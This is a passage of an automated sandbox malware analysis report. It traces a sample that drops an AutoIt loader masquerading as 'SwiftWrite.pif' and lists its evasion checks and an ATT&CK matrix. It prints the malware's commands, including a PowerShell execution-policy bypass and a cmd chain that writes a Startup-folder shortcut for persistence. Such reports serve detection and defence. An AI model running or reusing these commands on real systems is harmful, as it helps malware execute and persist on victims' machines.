Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFB4B000E3D str word ptr [ebx-05h]4_2_00007FFB4B000E3D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4508Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5288Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5426Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4341Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeAPI coverage: 3.8 %
Source: C:\Users\Public\Guard.exeAPI coverage: 6.1 %
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifAPI coverage: 4.5 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4640Thread sleep time: -12912720851596678s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3772Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2044Thread sleep count: 5426 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4684Thread sleep count: 4341 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1608Thread sleep time: -22136092888451448s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BEC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,0_2_00007FF787BEC7C0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BFA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00007FF787BFA874
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BFA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00007FF787BFA4F8
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF6428 FindFirstFileW,FindNextFileW,FindClose,0_2_00007FF787BF6428
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BFA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00007FF787BFA350
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB2F50 FindFirstFileExW,0_2_00007FF787BB2F50
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BEB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00007FF787BEB7C0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,0_2_00007FF787BF72A8
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF71F4 FindFirstFileW,FindClose,0_2_00007FF787BF71F4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BEBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00007FF787BEBC70
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D04005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00D04005
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0494A GetFileAttributesW,FindFirstFileW,FindClose,6_2_00D0494A
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_00D0C2FF
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,6_2_00D0CD9F
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0CD14 FindFirstFileW,FindClose,6_2_00D0CD14
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_00D0F5D8
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_00D0F735
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_00D0FA36
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D03CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00D03CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009A4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,11_2_009A4005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009A494A GetFileAttributesW,FindFirstFileW,FindClose,11_2_009A494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009AC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,11_2_009AC2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009ACD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,11_2_009ACD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009ACD14 FindFirstFileW,FindClose,11_2_009ACD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009AF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,11_2_009AF5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009AF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,11_2_009AF735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009AFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,11_2_009AFA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009A3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,11_2_009A3CE2
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B91D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,0_2_00007FF787B91D80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: Guard.exe, 00000006.00000002.2706843435.0000000003947000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
Source: powershell.exe, 00000004.00000002.1660392560.0000018AC8388000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000004.00000002.1660392560.0000018AC8373000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllf
Source: SwiftWrite.pif, 0000000B.00000002.2707208676.0000000003E76000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C00A00 BlockInput,0_2_00007FF787C00A00
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B737B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00007FF787B737B0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B95BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,0_2_00007FF787B95BC0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C0D0F8 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,0_2_00007FF787C0D0F8
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB4318 GetProcessHeap,0_2_00007FF787BB4318
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB8FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00007FF787BB8FE4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BAAF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF787BAAF58
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B957E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF787B957E4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B959C8 SetUnhandledExceptionFilter,0_2_00007FF787B959C8
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CCA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,6_2_00CCA385
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CCA354 SetUnhandledExceptionFilter,6_2_00CCA354
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0096A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,11_2_0096A385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_0096A354 SetUnhandledExceptionFilter,11_2_0096A354

HIPS / PFW / Operating System Protection Evasion

barindex
Bypasses PowerShell execution policy
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BDCE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00007FF787BDCE68
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B737B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00007FF787B737B0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B94514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00007FF787B94514
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C02464 mouse_event,0_2_00007FF787C02464
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"Jump to behavior
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exitJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BDC858 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00007FF787BDC858
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BDD540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_00007FF787BDD540
Source: RMBOriPHVJ.exe, SwiftWrite.pif.6.dr, Guard.exe.1.drBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: RMBOriPHVJ.exe, Guard.exe, SwiftWrite.pifBinary or memory string: Shell_TrayWnd
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BAFD20 cpuid 0_2_00007FF787BAFD20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF8BF4 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,wcscat,wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,wcscpy,0_2_00007FF787BF8BF4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BD2BCF GetUserNameW,0_2_00007FF787BD2BCF
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB2650 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00007FF787BB2650
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B91D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,0_2_00007FF787B91D80
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFFE8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Users\Public\Guard.exe
Source: Guard.exe, 00000006.00000002.2704445001.0000000000EA8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \Device\HarddiskVolume3\Users\Public\Guard.exe
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFFE8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Public\Guard.exe
Source: powershell.exe, 00000004.00000002.1660392560.0000018AC8350000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1658583703.0000018AC8109000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1658583703.0000018AC80EA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1580914680.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1592190038.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1588481415.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1592382268.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1595583767.00000000030C1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1580800353.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1595506768.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1584847218.0000000004320000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Guard.exe
Source: Guard.exe, 00000006.00000002.2703400414.00000000007BF000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: }C:\Users\Public\Guard.exe
Source: RMBOriPHVJ.exe, 00000000.00000002.1507212098.000001D8BF177000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1660392560.0000018AC8350000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1615547724.0000018AAFFE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1660392560.0000018AC83A2000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, Guard.exe, 00000006.00000002.2703400414.00000000007CF000.00000004.00000010.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2706843435.000000000399A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\Public\Guard.exe
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFFE8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \Users\Public\Guard.exe
Source: powershell.exe, 00000004.00000002.1660392560.0000018AC83A2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "C:\Users\Public\Guard.exe
Source: SwiftWrite.pifBinary or memory string: WIN_81
Source: SwiftWrite.pifBinary or memory string: WIN_XP
Source: SwiftWrite.pifBinary or memory string: WIN_XPe
Source: SwiftWrite.pifBinary or memory string: WIN_VISTA
Source: RMBOriPHVJ.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: SwiftWrite.pifBinary or memory string: WIN_7
Source: SwiftWrite.pifBinary or memory string: WIN_8
Source: Guard.exe.1.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C04074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00007FF787C04074
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C03940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,0_2_00007FF787C03940
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D1696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,6_2_00D1696E
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D16E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,6_2_00D16E32
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009B696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,11_2_009B696E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009B6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,11_2_009B6E32

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		2
Valid Accounts		2
Native API		1
Scripting		1
Exploitation for Privilege Escalation		1
Disable or Modify Tools		21
Input Capture		2
System Time Discovery		Remote Services1
Archive Collected Data		12
Ingress Tool Transfer		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts1
Command and Scripting Interpreter		1
DLL Side-Loading		1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		LSASS Memory1
Account Discovery		Remote Desktop Protocol21
Input Capture		1
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts3
PowerShell		2
Valid Accounts		2
Valid Accounts		2
Obfuscated Files or Information		Security Account Manager2
File and Directory Discovery		SMB/Windows Admin Shares3
Clipboard Data		2
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCron2
Registry Run Keys / Startup Folder		21
Access Token Manipulation		1
DLL Side-Loading		NTDS26
System Information Discovery		Distributed Component Object ModelInput Capture22
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script12
Process Injection		311
Masquerading		LSA Secrets41
